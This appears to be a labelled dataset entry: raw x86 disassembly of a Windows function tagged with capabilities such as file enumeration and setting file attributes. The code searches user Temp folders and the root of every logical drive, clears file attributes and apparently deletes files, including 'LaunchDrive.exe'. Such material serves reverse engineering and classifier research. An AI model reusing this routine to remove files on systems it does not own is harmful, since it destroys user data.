Function at 0x10042e60
Capabilities:
Enumerate files on windows
Get disk information
Set file attributes

Disassembly:
mov eax, 0x1144
call fcn.102244a0
mov eax, dword [esp + 0x1148]
push ebx
push ebp
push esi
push edi
mov dword [eax], 0
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x554]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x554]
push ecx
push 0x1a
call fcn.100286d0
add esp, 8
test eax, eax
je 0x1004324a
lea edx, [esp + 0x154]
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x154]
push edx
push 0x28
rep stosd dword es:[edi], eax
call fcn.100286d0
add esp, 8
test eax, eax
je 0x1004324a
mov edi, str.Users_
or ecx, 0xffffffff
xor eax, eax
mov esi, dword [sym.imp.MSVCRT.dll_strncmp]
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x156]
push ecx
push str.Users_
push eax
call esi
add esp, 0xc
test eax, eax
jne 0x10042f09
lea edx, [esp + 0x154]
mov edi, str.AppDataLocalTemp
jmp 0x10042f3f
mov edi, str.Documents_and_Settings_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x156]
push ecx
push str.Documents_and_Settings_
push eax
call esi
add esp, 0xc
test eax, eax
jne 0x1004324a
lea edx, [esp + 0x154]
mov edi, str.Local_SettingsTemp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x954]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x158]
push ecx
call sub.platform.dll_Ordinal_13
add esp, 8
test eax, eax
jne 0x10042fa9
lea edi, [esp + 0x154]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x954]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x954]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp byte [esp + ecx + 0x953], 0x5c
je 0x10042ff5
mov edi, 0x1022722c
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x954]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x954]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x154]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x154]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x10265244
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x158]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10043304
mov ebp, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea edi, [esp + 0x40]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 0xa
jne 0x100431cc
lea edx, [esp + 0x40]
push 6
push edx
call fcn.100c2f70
add esp, 8
test eax, eax
jne 0x100430b6
lea eax, [esp + 0x40]
push 6
push eax
call fcn.100c2f10
add esp, 8
test eax, eax
je 0x100431cc
lea edi, [esp + 0x954]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xd54]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0xd58]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push 0x8000
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x48]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0xd5c]
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [0x107ab964]
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, eax
cmp esi, 0xffffffff
je 0x100431cc
mov ecx, dword [0x107ab964]
push esi
mov eax, dword [ecx]
call dword [eax + 0x20]
mov ecx, dword [0x107ab964]
push esi
mov edi, eax
mov edx, dword [ecx]
call dword [edx + 0x18]
test edi, edi
jne 0x100431cc
mov edi, 0x1022722c
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x554]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x558]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x44]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x558]
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [0x107ab964]
mov eax, dword [ecx]
call dword [eax]
cmp eax, 0xffffffff
jne 0x100431e1
lea eax, [esp + 0x14]
push eax
push ebx
call ebp
test eax, eax
je 0x100432fd
jmp 0x10043075
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [esp + 0x554]
push 0x80
push ecx
call edi
push 0
lea edx, [esp + 0x558]
push 0
push edx
call fcn.10028810
add esp, 0xc
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x107ab964]
push 0
lea edx, [esp + 0x558]
push 0x8000
mov eax, dword [ecx]
push edx
call dword [eax + 4]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10043257
mov eax, dword [esp + 0x1158]
mov dword [eax], 1
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1144
ret
mov ecx, dword [0x107ab964]
push esi
mov edx, dword [ecx]
call dword [edx + 0x20]
mov ecx, dword [0x107ab964]
mov ebx, eax
push esi
mov eax, dword [ecx]
call dword [eax + 0x18]
test ebx, ebx
jg 0x1004328f
mov ecx, dword [esp + 0x1158]
pop edi
pop esi
pop ebp
mov dword [ecx], 1
xor eax, eax
pop ebx
add esp, 0x1144
ret
mov edx, dword [esp + 0x115c]
mov eax, dword [esp + 0x1160]
mov ecx, dword [esp + 0x1164]
push 0
push 1
push edx
push eax
mov eax, dword [0x107ab964]
lea edx, [esp + 0x564]
push ecx
push edx
push eax
push 0x10227334
call fcn.10029df0
mov ecx, dword [0x107ab964]
add esp, 0x20
lea eax, [esp + 0x554]
mov edx, dword [ecx]
push eax
call dword [edx + 0x3c]
lea ecx, [esp + 0xd54]
push 0x80
push ecx
call edi
mov ecx, dword [0x107ab964]
lea eax, [esp + 0xd54]
push eax
mov edx, dword [ecx]
call dword [edx + 0x3c]
jmp 0x10043304
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [esp + 0xd54]
push ecx
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
cdq
and edx, 3
add eax, edx
sar eax, 2
cmp eax, 0xa
jg 0x10043442
test eax, eax
jle 0x10043442
mov ebp, dword [sym.imp.MSVCRT.dll_strncpy]
lea ebx, [esp + 0xd54]
mov dword [esp + 0x10], eax
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x154]
push 4
lea edx, [esp + 0x158]
push ebx
rep stosd dword es:[edi], eax
push edx
call ebp
mov edi, 0x10232570
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x154]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x154]
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ecx, dword [0x107ab964]
lea eax, [esp + 0x154]
push eax
mov edx, dword [ecx]
call dword [edx + 0x3c]
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x154]
push 4
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x158]
push ebx
push ecx
call ebp
mov edi, str.LaunchDrive.exe
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x154]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x154]
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ecx, dword [0x107ab964]
lea eax, [esp + 0x154]
push eax
mov edx, dword [ecx]
call dword [edx + 0x3c]
mov eax, dword [esp + 0x10]
add ebx, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x10043342
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x1144
ret